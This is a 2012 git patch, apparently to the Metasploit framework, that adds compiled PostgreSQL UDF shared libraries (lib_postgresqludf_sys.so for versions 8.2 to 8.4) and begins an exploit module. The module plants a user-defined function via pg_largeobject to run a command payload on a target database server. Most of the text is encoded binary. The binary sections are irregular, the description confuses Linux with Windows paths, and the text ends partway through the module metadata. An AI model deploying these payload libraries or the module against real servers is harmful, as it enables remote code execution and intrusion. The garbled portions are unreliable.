From ad2b457fdae035ec0d45e7d4c1fb4bc96478aeed Mon Sep 17 00:00:00 2001 From: midnitesnake Date: Tue, 14 Aug 2012 17:46:35 +0100 Subject: [PATCH] Added linux port for postgres payload --- .../postgres/8.2/32/lib_postgresqludf_sys.so | Bin 0 -> 5124 bytes .../postgres/8.2/64/lib_postgresqludf_sys.so | Bin 0 -> 7704 bytes .../postgres/8.3/32/lib_postgresqludf_sys.so | Bin 0 -> 5124 bytes .../postgres/8.3/64/lib_postgresqludf_sys.so | Bin 0 -> 7704 bytes .../postgres/8.4/32/lib_postgresqludf_sys.so | Bin 0 -> 5132 bytes .../postgres/8.4/64/lib_postgresqludf_sys.so | Bin 0 -> 7712 bytes lib/msf/core/exploit/postgres.rb | 106 ++++++++++- .../linux/postgres/postgres_payload.rb | 170 ++++++++++++++++++ 8 files changed, 271 insertions(+), 5 deletions(-) create mode 100755 data/exploits/postgres/8.2/32/lib_postgresqludf_sys.so create mode 100755 data/exploits/postgres/8.2/64/lib_postgresqludf_sys.so create mode 100755 data/exploits/postgres/8.3/32/lib_postgresqludf_sys.so create mode 100755 data/exploits/postgres/8.3/64/lib_postgresqludf_sys.so create mode 100755 data/exploits/postgres/8.4/32/lib_postgresqludf_sys.so create mode 100755 data/exploits/postgres/8.4/64/lib_postgresqludf_sys.so create mode 100644 modules/exploits/linux/postgres/postgres_payload.rb diff --git a/data/exploits/postgres/8.2/32/lib_postgresqludf_sys.so b/data/exploits/postgres/8.2/32/lib_postgresqludf_sys.so new file mode 100755 index 0000000000000000000000000000000000000000..ce33ad34e69a06d9b62e6caf53da33135c5f5a44 GIT binary patch literal 5124 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 literal 0 HcmV?d00001 diff --git a/data/exploits/postgres/8.2/64/lib_postgresqludf_sys.so b/data/exploits/postgres/8.2/64/lib_postgresqludf_sys.so new file mode 100755 index 0000000000000000000000000000000000000000..02e7e09bac796e627bbf907b9287a936b224c919 GIT binary patch literal 7704 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 literal 0 HcmV?d00001 diff --git a/data/exploits/postgres/8.3/64/lib_postgresqludf_sys.so b/data/exploits/postgres/8.3/64/lib_postgresqludf_sys.so new file mode 100755 index 0000000000000000000000000000000000000000..5dd842a4b5b2458070aa4681bfaadaf8dfc48c8f GIT binary patch literal 7704 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 G{r?SX<~j2K literal 0 HcmV?d00001 diff --git a/data/exploits/postgres/8.4/32/lib_postgresqludf_sys.so b/data/exploits/postgres/8.4/32/lib_postgresqludf_sys.so new file mode 100755 index 0000000000000000000000000000000000000000..9e07a823ff4a214207fe18001adfa3f663a67c26 GIT binary patch literal 5132 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 'PostgreSQL for Microsoft Linux Payload Execution', + 'Description' => %q{ + This module creates and enables a custom UDF (user defined function) on the + target host via the UPDATE pg_largeobject method of binary injection. On + default Microsoft Linux installations of PostgreSQL (=< 8.4), the postgres + service account may write to the Windows temp directory, and may source + UDF Shared Libraries's from there as well. + + PostgreSQL versions 8.2.x, 8.3.x, and 8.4.x on are valid targets for this module. + + NOTE: This module will leave a payload executable on the target system when the + attack is finished, as well as the UDF SO and the OID. + }, + 'Author' => + [ + 'todb' # this Metasploit module + ], + 'License' => MSF_LICENSE, + 'Version' => '$Revision$', + 'References' => + [ + [ 'URL', 'http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf', + 'URL', 'http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql' # A litte more specific to PostgreSQL + ] + ], + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Payload' => + { + 'Space' => 0x65535, + 'DisableNops' => true, + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'perl', + } + }, + 'Targets' => + [ + [ 'Automatic', { } ], # Confirmed on XXX + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Apr 10 2009' # Date of Bernardo's BH Europe paper. + 